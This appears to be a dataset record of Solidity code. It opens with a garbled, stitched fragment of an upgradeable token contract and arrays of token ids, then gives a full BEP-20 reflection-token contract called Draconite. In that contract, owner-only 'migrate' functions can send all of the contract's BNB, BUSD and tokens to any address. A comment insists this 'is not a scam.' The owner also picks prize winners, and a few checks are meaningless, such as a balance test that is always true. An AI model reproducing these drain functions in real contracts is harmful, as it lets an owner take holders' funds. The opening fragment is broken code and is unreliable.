return StandardToken(upgradedAddress).allowance(_owner, _spender);
return super.allowance(_owner, _spender);
}
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
return super.allowance(_owner, _spender);
}
}
} else {
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
return _totalSupply;
}
}
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
return _totalSupply;
}
}
} else {
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
event Issue(uint amount);
event Redeem(uint amount);
event Deprecate(address newAddress);
event Params(uint feeBasisPoints, uint maxFee);
}
| 4,496,814 |
[
1,
1986,
6835,
848,
506,
6454,
598,
279,
1300,
434,
2430,
225,
4826,
326,
2430,
854,
443,
1724,
329,
358,
326,
3410,
1758,
225,
389,
12296,
10188,
14467,
434,
326,
6835,
225,
389,
529,
3155,
1770,
225,
389,
7175,
3155,
3273,
225,
389,
31734,
3155,
15105,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
8175,
54,
60,
1345,
353,
21800,
16665,
16,
8263,
1345,
16,
22467,
682,
288,
203,
203,
565,
533,
1071,
508,
31,
203,
565,
533,
1071,
3273,
31,
203,
565,
2254,
1071,
15105,
31,
203,
565,
1758,
1071,
31049,
1887,
31,
203,
565,
1426,
1071,
6849,
31,
203,
203,
565,
445,
8175,
54,
60,
1345,
12,
11890,
389,
6769,
3088,
1283,
16,
533,
389,
529,
16,
533,
389,
7175,
16,
2254,
389,
31734,
13,
1071,
288,
203,
3639,
389,
4963,
3088,
1283,
273,
389,
6769,
3088,
1283,
31,
203,
3639,
508,
273,
389,
529,
31,
203,
3639,
3273,
273,
389,
7175,
31,
203,
3639,
15105,
273,
389,
31734,
31,
203,
3639,
324,
26488,
63,
8443,
65,
273,
389,
6769,
3088,
1283,
31,
203,
3639,
6849,
273,
629,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
389,
1132,
13,
1071,
1347,
1248,
28590,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
5,
291,
13155,
682,
329,
63,
3576,
18,
15330,
19226,
203,
3639,
309,
261,
14089,
13,
288,
203,
5411,
327,
1948,
19305,
8336,
1345,
12,
416,
19305,
1887,
2934,
13866,
858,
12235,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
1132,
1769,
203,
5411,
327,
2240,
18,
13866,
24899,
869,
16,
389,
1132,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
389,
1132,
13,
1071,
1347,
1248,
28590,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
5,
291,
13155,
682,
329,
63,
3576,
18,
2
] |
//SPDX-License-Identifier: MIT
pragma solidity >=0.6.8;
pragma experimental ABIEncoderV2;
/*
\ Draconite Token /
\(______ DCN ______)/
/`.----.\ /.----.`\
} / :} {: \ {
/ { } { } \
} } ) } { ( { {
/ { /|\}!{/|\ } \
} } ( (."^".) ) { {
/ { (@\ /@) } \
} } |\~ ~/| { {
/ / | ) ( | \ \
{ { _)(, ,)(_ } }
} } // `";"` \\ { {
/ / // ( \\ \ \
{ { {( -=) )} } }
\ \ /) -=(=- (\ / /
`\\ /'/ /-=|\-\ \`\ //'
`\{ | ( -===- ) | }/'
` _\ \-===-/ /_ '
jgs (_(_(_)'-=-'(_)_)_)
`"`"`" "`"`"`
Draconite Token is a community driven DeFi project built on Binance Smart Chain #BSC,
with the most revolutionary mechanism for its holders and to the BSC ecosystem:
1. Earning claimable BNB just by holding $DCN Tokens.
Collected 4% from each transaction.
2. Earning chance to be one of 3 winners of a Prize pool in BUSD each week.
Collected 1% from each transaction.
3. Earning tokens from each sell or wallet to wallet transaction as a reflection.
Collected 2% from sell and wallet to walllet transaction.
4. Stable token price by liquidity creation on each transaction.
Collected 2% on buy and 4% on sell and wallet to wallet transactions.
Special thanks to:
1. Safemoon for popularizing reflection type of transactions through ERC-20/BEP-20 smart contracts!
2. Percybolmer in github and his version of Staking contract: https://github.com/percybolmer, which we modified for our needs!
3. And all BEP-20 and ERC-20 tokens that are designed to give back to their holders by multiple types of rewards!
4. ASCII picture art by jgs!
*/
import "ERC20.sol";
import "IERC20.sol";
import "SafeMath.sol";
import "Context.sol";
import "Address.sol";
import "Ownable.sol";
import "ReentrancyGuard.sol";
import "IPancakeFactory.sol";
import "IPancakePair.sol";
import "IPancakeRouter.sol";
import "Utils.sol";
import "Holdable.sol";
contract Draconite is Context, IERC20, Ownable, Holdable, ReentrancyGuard {
using SafeMath for uint256;
using Address for address;
//Tokenomics.
string private constant _name = "Draconite";
string private constant _symbol = "DCN";
uint8 private constant _decimals = 15;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10 ** 6 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _maxTxAmount = _tTotal;
//Trace BNB claimed rewards.
mapping(address => uint256) public _userClaimedBNB;
uint256 public _totalClaimedBNB = 0;
//Trace reinvested token rewards.
mapping(address => uint256) public _userReinvested;
uint256 public _totalReinvested = 0;
//Addresses.
address public _marketingAddress = 0xF123b7c24d122B2Bba509F399e611BA2A3086A8f;
address public immutable BUSD = address(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
//Tx fees in %.
uint256 private _liquidityFee = 4;
uint256 private _redistributionFee = 2;
uint256 private _bnbRewardFee = 4;
uint256 private _prizePoolFee = 1;
uint256 private _marketingFee = 3;
uint256 private _previousLiquidityFee;
uint256 private _previousRedistributionFee;
uint256 private _previousRewardFee;
uint256 private _previousPricePoolFee;
uint256 private _previousMarketingFee;
//Fee for marketing when account redeem reward in BNB.
uint256 public _marketingOnWhaleClaimFee = 10; //%
uint256 public _rewardBNBThreshHold = 1 ether;
//Prize pool utility.
uint256 private _unlockPrizePoolDate;
uint256 private _unlockPrizePoolCycle = 1 weeks;
//Indicator if a tx is a buy tx.
bool private _buyTx = false;
//Store tokens from each buy tx.
uint256 private _tTokensFromBuyTxs;
//Total reflected fee.
uint256 private _tReflectedFeeTotal;
//Total reward hard cap from the bnb pool size measured in %.
uint256 public _rewardHardCap = 10;
//Reward availability.
uint256 public _rewardCycleBlock = 1 weeks;
mapping(address => uint256) public _nextAvailableClaimDate;
//Minimum tokens that the contract should have as utility.
uint256 public _minTokenNumberUpperLimit = _tTotal.mul(2).div(100).div(10);
//Excluded addresses from fees, rewards and maxTx.
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromReward;
mapping(address => bool) private _isExcludedFromMaxTx;
address[] private _excluded;
//Swap bool and modifier.
bool public _swapAndLiquifyEnabled = false; //Should be true in order to add liquidity.
bool _inSwapAndLiquify = false;
modifier lockTheSwap {
_inSwapAndLiquify = true;
_;
_inSwapAndLiquify = false;
}
//Router and pair.
IPancakeRouter02 public _pancakeRouter;
address public _pancakePair;
//Events.
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped, uint256 bnbReceived, uint256 tokensIntoLiquidity);
event SwapTokenForRewards(uint256 amount);
event ClaimedBNBReward(address recipient, uint256 bnbReward, uint256 nextAvailableClaimDate,
uint256 timestamp);
event ClaimedBNBReinvestment(address recipient, uint256 bnbReinvested, uint256 tokensReceived,
uint256 nextAvailableClaimDate, uint256 timestamp);
event ExcludeAddressFromRewards(address account);
event IncludeRewardsForAddress(address account);
event ExcludeAddressFromFee(address account);
event IncludeFeeForAddress(address account);
event ChangeFeePercent(uint256 typeFee, uint256 taxFee, uint256 prevTaxFee);
event ChangeMaxTxAmount(uint256 txAmount);
event AddressExcludedFromMaxTxAmount(address account);
event ChangeMarketingAddress(address account);
event ChangeRewardCycleBlock(uint256 rewardCycleBlock);
event ChangeRewardHardCap(uint256 rewardHardCap);
event PrizePoolSentToWinners(address firstwinner, address secondWinner, address thirdWinner,
uint256 firstPrize, uint256 secondPrize, uint256 thirdPrize, uint256 _unlockPrizePoolDate);
constructor () {
_rOwned[_msgSender()] = _rTotal;
IPancakeRouter02 pancakeRouter = IPancakeRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
_pancakePair = IPancakeFactory(pancakeRouter.factory())
.createPair(address(this), pancakeRouter.WETH());
_pancakeRouter = pancakeRouter;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromMaxTx[owner()] = true;
_isExcludedFromMaxTx[address(this)] = true;
_isExcludedFromMaxTx[_marketingAddress] = true;
_isExcludedFromMaxTx[address(0)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
/*
Public functions.
*/
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function circulatingSupply() public view returns (uint256) {
return uint256(_tTotal).sub(balanceOf(address(0)));
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromReward[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcludedFromReward[account];
}
function totalReflectedFees() public view returns (uint256) {
return _tReflectedFeeTotal;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcludedFromReward[sender], "Excluded addresses cannot call this function");
(,,,uint256 rAmount,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tReflectedFeeTotal = _tReflectedFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(,,,uint256 rAmount,,) = _getValues(tAmount);
return rAmount;
} else {
(,,,,uint256 rTransferAmount,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function getRewardCycleBlock() public view returns (uint256) {
return _rewardCycleBlock;
}
function calculateBNBReward(address ofAddress) public view returns (uint256) {
uint256 bnbPool = address(this).balance;
uint256 bnbReward = calculateReward(ofAddress, circulatingSupply(), bnbPool, getRewardCycleBlock());
if (bnbReward > bnbPool.mul(_rewardHardCap).div(100))
bnbReward = bnbPool.div(_rewardHardCap);
return bnbReward;
}
function redeemRewards(uint256 perc) isHuman nonReentrant public {
uint256 timestamp = block.timestamp;
require(_nextAvailableClaimDate[msg.sender] <= timestamp, 'Error: next available not reached');
require(balanceOf(msg.sender) >= 0, 'Error: must own Draconite to claim reward');
uint256 reward = calculateBNBReward(msg.sender);
uint256 rewardBNB = reward.mul(perc).div(100);
uint256 rewardReinvest = reward.sub(rewardBNB);
uint256 expectedtoken = 0;
_nextAvailableClaimDate[msg.sender] = timestamp + getRewardCycleBlock();
if (rewardReinvest > 0) {
expectedtoken = balanceOf(msg.sender);
Utils.swapBnbForTokens(address(_pancakeRouter), address(this), msg.sender, rewardReinvest);
expectedtoken = balanceOf(msg.sender) - expectedtoken;
_userReinvested[msg.sender] += expectedtoken;
_totalReinvested = _totalReinvested + expectedtoken;
emit ClaimedBNBReinvestment(msg.sender, rewardReinvest, expectedtoken, _nextAvailableClaimDate[msg.sender], timestamp);
}
if (rewardBNB > 0) {
//Collect 10% tax for marketing from each collected reward if the claim is more than the threshhold.
if (rewardBNB > _rewardBNBThreshHold){
uint256 marketingOnWhaleClaimFee = rewardBNB.mul(_marketingOnWhaleClaimFee).div(100);
(bool success, ) = address(_marketingAddress).call{ value: marketingOnWhaleClaimFee }("");
require(success, " Error: Cannot send reward");
rewardBNB = rewardBNB.sub(marketingOnWhaleClaimFee);
}
(bool sent,) = address(msg.sender).call{value : rewardBNB}("");
require(sent, 'Error: Cannot withdraw reward');
_userClaimedBNB[msg.sender] += rewardBNB;
_totalClaimedBNB = _totalClaimedBNB.add(rewardBNB);
emit ClaimedBNBReward(msg.sender, rewardBNB, _nextAvailableClaimDate[msg.sender], timestamp);
}
deleteHoldsForAddress(msg.sender);
hold(msg.sender, balanceOf(msg.sender));
}
/*
Functions that can be used by the owner of the contract.
*/
function activateContract() public onlyOwner {
//Protocol
setMaxTxPercent(10000);
setSwapAndLiquifyEnabled(true);
_unlockPrizePoolDate = block.timestamp.add(_unlockPrizePoolCycle);
//Exclude Owner addresses from rewards
excludeFromReward(address(0x652ccCdfaE41bfe346bA1C00a1CebD7b262AafF0));
//Approve contract
_approve(address(this), address(_pancakeRouter), 2 ** 256 - 1);
}
function changePancakeRouter(address newRouter) public onlyOwner {
require(newRouter != address(_pancakeRouter), "Draconite: The router already has that address.");
IPancakeRouter02 pancakeRouter = IPancakeRouter02(newRouter);
_pancakePair = IPancakeFactory(pancakeRouter.factory())
.createPair(address(this), pancakeRouter.WETH());
_pancakeRouter = pancakeRouter;
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcludedFromReward[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReward[account] = true;
_excluded.push(account);
emit ExcludeAddressFromRewards(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcludedFromReward[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcludedFromReward[account] = false;
_excluded.pop();
break;
}
}
emit IncludeRewardsForAddress(account);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeAddressFromFee(account);
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeFeeForAddress(account);
}
function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10000);
emit ChangeMaxTxAmount(_maxTxAmount);
}
function setExcludeFromMaxTx(address _address, bool value) public onlyOwner {
_isExcludedFromMaxTx[_address] = value;
emit AddressExcludedFromMaxTxAmount(_address);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
_swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function changeMarketingAddress(address payable newAddress) public onlyOwner {
_marketingAddress = newAddress;
emit ChangeMarketingAddress(_marketingAddress);
}
function changeRewardCycleBlock(uint256 newcycle) public onlyOwner {
_rewardCycleBlock = newcycle;
emit ChangeRewardCycleBlock(_rewardCycleBlock);
}
/*
In case of future migration, we are KYCed, this is not a scam, it is a utility function.
*/
function migrateToken(address newAddress, uint256 amount) public onlyOwner {
removeAllFee();
_transferStandard(address(this), newAddress, amount);
restoreAllFee();
}
function migrateBnb(address payable newAddress, uint256 amount) public onlyOwner {
(bool success, ) = address(newAddress).call{ value: amount }("");
require(success, "Address: unable to send value, tx may have reverted");
}
function migrateBusd(address payable newAddress, uint256 amount) public onlyOwner {
IERC20(BUSD).transfer(newAddress, amount);
}
function changeMinTokenNumberUpperLimit(uint256 newValue) public onlyOwner {
_minTokenNumberUpperLimit = newValue;
}
function getTokensFromBuyTx() public view onlyOwner returns(uint256){
return _tTokensFromBuyTxs;
}
function useTokensFromBuyTx() public onlyOwner {
require(_tTokensFromBuyTxs > 0, "Not enough stashed tokens.");
//Calculate prec.
uint256 tokensForLiquidity = _tTokensFromBuyTxs.div(5); //20%
_tTokensFromBuyTxs = _tTokensFromBuyTxs.sub(tokensForLiquidity);
uint256 tokensForBnbReward = _tTokensFromBuyTxs.div(2); //40%
_tTokensFromBuyTxs = _tTokensFromBuyTxs.sub(tokensForBnbReward);
uint256 tokensForPrizePool = _tTokensFromBuyTxs.div(4); //10%
_tTokensFromBuyTxs = _tTokensFromBuyTxs.sub(tokensForPrizePool);
uint256 tokensForMarketing = _tTokensFromBuyTxs; //30%
uint256 tokensForLiquidityToBeSwapped = tokensForLiquidity.div(2); //10%
uint256 tokensToBeSwapped = tokensForLiquidityToBeSwapped;
uint256 initialBalance = address(this).balance;
//Swap tokens for bnb.
Utils.swapTokensForBnb(address(_pancakeRouter), tokensToBeSwapped);
uint256 swappedBnb = address(this).balance.sub(initialBalance);
//ะdd liquidity to pancake.
Utils.addLiquidity(address(_pancakeRouter), tokensForLiquidityToBeSwapped, swappedBnb);
emit SwapAndLiquify(
tokensForLiquidityToBeSwapped,
swappedBnb,
tokensForLiquidityToBeSwapped
);
//Add to BNB Reward pool, send BUSD to Prize Pool and Marketing wallet.
tokensToBeSwapped = tokensForBnbReward.add(tokensForPrizePool).add(tokensForMarketing);
initialBalance = address(this).balance;
Utils.swapTokensForBnb(address(_pancakeRouter), tokensToBeSwapped);
swappedBnb = address(this).balance.sub(initialBalance);
uint256 bnbToBeAddedAsBusd = swappedBnb.div(2);
//Leftover amount of bnb stays in the contract as BNB Rewards
swappedBnb = swappedBnb.sub(bnbToBeAddedAsBusd);
//Send fees in busd to marketing and charity addresses
Utils.swapBnbForTokens(address(_pancakeRouter), address(BUSD), address(this), bnbToBeAddedAsBusd.div(4));
bnbToBeAddedAsBusd = bnbToBeAddedAsBusd - bnbToBeAddedAsBusd.div(4);
Utils.swapBnbForTokens(address(_pancakeRouter), address(BUSD), _marketingAddress, bnbToBeAddedAsBusd);
emit SwapTokenForRewards(swappedBnb);
//Reset _tTokensFromBuyTxs.
_tTokensFromBuyTxs = 0;
}
function sendPrizePool(address payable firstwinner, address payable secondWinner, address payable thirdWinner) public onlyOwner {
require(block.timestamp >= _unlockPrizePoolDate);
uint256 BUSDBalance = IERC20(BUSD).balanceOf(address(this));
uint256 firstPrize = BUSDBalance.div(2);
BUSDBalance = BUSDBalance - firstPrize;
uint256 secondPrize = BUSDBalance.div(2);
uint256 thirdPrize = BUSDBalance.div(2);
IERC20(BUSD).transfer(firstwinner, firstPrize);
IERC20(BUSD).transfer(secondWinner, secondPrize);
IERC20(BUSD).transfer(thirdWinner, thirdPrize);
_unlockPrizePoolDate = block.timestamp.add(_unlockPrizePoolCycle);
emit PrizePoolSentToWinners(firstwinner, secondWinner, thirdWinner, firstPrize, secondPrize, thirdPrize, _unlockPrizePoolDate);
}
/*
Private functions for usage by the contract.
*/
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeRefund(uint256 tSumFee) private {
uint256 currentRate = _getRate();
uint256 rSumFee = tSumFee.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rSumFee);
if (_isExcludedFromReward[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tSumFee);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10 ** 2
);
}
function calculateRedistributionFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_redistributionFee).div(
10 ** 2
);
}
function calculateBnbRewardFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_bnbRewardFee).div(
10 ** 2
);
}
function calculatePrizePoolFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_prizePoolFee).div(
10 ** 2
);
}
function calculateMarketingFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_marketingFee).div(
10 ** 2
);
}
function prepareBuyTx() private {
if (_redistributionFee == 0 && _liquidityFee == 2) {
return;
}
_previousLiquidityFee = _liquidityFee;
_previousRedistributionFee = _redistributionFee;
_liquidityFee = 2;
_redistributionFee = 0;
}
function afterBuyTx() private {
_liquidityFee = _previousLiquidityFee;
_redistributionFee = _previousRedistributionFee;
}
function removeAllFee() private {
if (_redistributionFee == 0 && _liquidityFee == 0 &&
_prizePoolFee == 0 && _marketingFee == 0 &&
_bnbRewardFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousRedistributionFee = _redistributionFee;
_previousPricePoolFee = _prizePoolFee;
_previousMarketingFee = _marketingFee;
_previousRewardFee = _bnbRewardFee;
_liquidityFee = 0;
_redistributionFee = 0;
_bnbRewardFee = 0;
_prizePoolFee = 0;
_marketingFee = 0;
}
function restoreAllFee() private {
_redistributionFee = _previousRedistributionFee;
_liquidityFee = _previousLiquidityFee;
_prizePoolFee = _previousPricePoolFee;
_marketingFee = _previousMarketingFee;
_bnbRewardFee = _previousRewardFee;
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tSumFee) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tSumFee, _getRate());
return (tTransferAmount, tFee, tSumFee, rAmount, rTransferAmount, rFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateRedistributionFee(tAmount);
uint256 tSumFee = calculateLiquidityFee(tAmount).add(calculatePrizePoolFee(tAmount))
.add(calculateMarketingFee(tAmount)).add(calculateBnbRewardFee(tAmount));
uint256 tTransferAmount = tAmount.sub(tFee).sub(tSumFee);
return (tTransferAmount, tFee, tSumFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tSumFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rSumFee = tSumFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rSumFee);
return (rAmount, rTransferAmount, rFee);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tReflectedFeeTotal = _tReflectedFeeTotal.add(tFee);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function ensureMaxTxAmount(address from, address to, uint256 amount) private view {
if (
_isExcludedFromMaxTx[from] == false &&
_isExcludedFromMaxTx[to] == false
) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "BEP20: transfer from the zero address");
require(to != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
ensureMaxTxAmount(from, to, amount);
uint256 contractTokenBalance = balanceOf(address(this));
bool enoughUtilityTokens = contractTokenBalance >= _minTokenNumberUpperLimit;
if (contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
//Check if the transaction is buy tx.
if (from != address(_pancakePair)){
if (
!_inSwapAndLiquify &&
_swapAndLiquifyEnabled &&
enoughUtilityTokens &&
!(from == address(this) &&
to == address(_pancakePair)) &&
!(from == address(this)) &&
amount > 0
) {
//Swap tokens for bnb and fund liquidity, bnbs prize pool, busd prize pool and marketing.
swapAndLiquify(calculateLiquidityFee(amount), calculateBnbRewardFee(amount),
calculatePrizePoolFee(amount), calculateMarketingFee(amount));
}
_buyTx = false;
} else {
_buyTx = true;
}
bool takeFee = true;
//If any account belongs to _isExcludedFromFee account then remove the fees.
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
//Make the transfer.
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 tokensAmountForLiquidity, uint256 tokensAmountToBeSwappedForUserRewards,
uint256 tokenAmountForPricePool, uint256 tokenAmountForMarketing) private {
uint256 tokensAmountForLiquidityToBeSwapped = tokensAmountForLiquidity.div(2);
uint256 tokensAmountToBeSwapped = tokensAmountForLiquidityToBeSwapped.add(tokensAmountToBeSwappedForUserRewards)
.add(tokenAmountForPricePool).add(tokenAmountForMarketing);
uint256 initialBalance = address(this).balance;
//Swap tokens for BNB.
Utils.swapTokensForBnb(address(_pancakeRouter), tokensAmountToBeSwapped);
uint256 swappedBnb = address(this).balance.sub(initialBalance);
uint256 bnbToBeAddedToLiquidity = swappedBnb.div(5);
//ะdd liquidity to pancake.
Utils.addLiquidity(address(_pancakeRouter), tokensAmountForLiquidityToBeSwapped, bnbToBeAddedToLiquidity);
emit SwapAndLiquify(
tokensAmountForLiquidityToBeSwapped,
bnbToBeAddedToLiquidity,
tokensAmountForLiquidityToBeSwapped
);
swappedBnb = swappedBnb.sub(bnbToBeAddedToLiquidity);
uint256 bnbToBeAddedAsBusd = swappedBnb.div(2);
//Leftover amount of bnb stays in the contract as BNB Rewards.
swappedBnb = swappedBnb.sub(bnbToBeAddedAsBusd);
//Send fees in busd to prize pool and marketing addresses.
Utils.swapBnbForTokens(address(_pancakeRouter), address(BUSD), address(this), bnbToBeAddedAsBusd.div(4));
bnbToBeAddedAsBusd = bnbToBeAddedAsBusd - bnbToBeAddedAsBusd.div(4);
Utils.swapBnbForTokens(address(_pancakeRouter), address(BUSD), _marketingAddress, bnbToBeAddedAsBusd);
emit SwapTokenForRewards(swappedBnb);
}
//To receive BNB from pancakeRouter when swapping.
receive() external payable {}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
//Prepare fees for the type of transaction.
if (!takeFee) {
removeAllFee();
} else if (_buyTx) {
prepareBuyTx();
}
//Check what type of transaction to make.
if (_isExcludedFromReward[sender] && !_isExcludedFromReward[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcludedFromReward[sender] && _isExcludedFromReward[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
//Set claim date if address receives for first time.
if (_nextAvailableClaimDate[recipient] == 0) {
_nextAvailableClaimDate[recipient] = block.timestamp + getRewardCycleBlock();
}
//Correct fees for after the transaction.
if (!takeFee) {
restoreAllFee();
} else if (_buyTx) {
afterBuyTx();
}
}
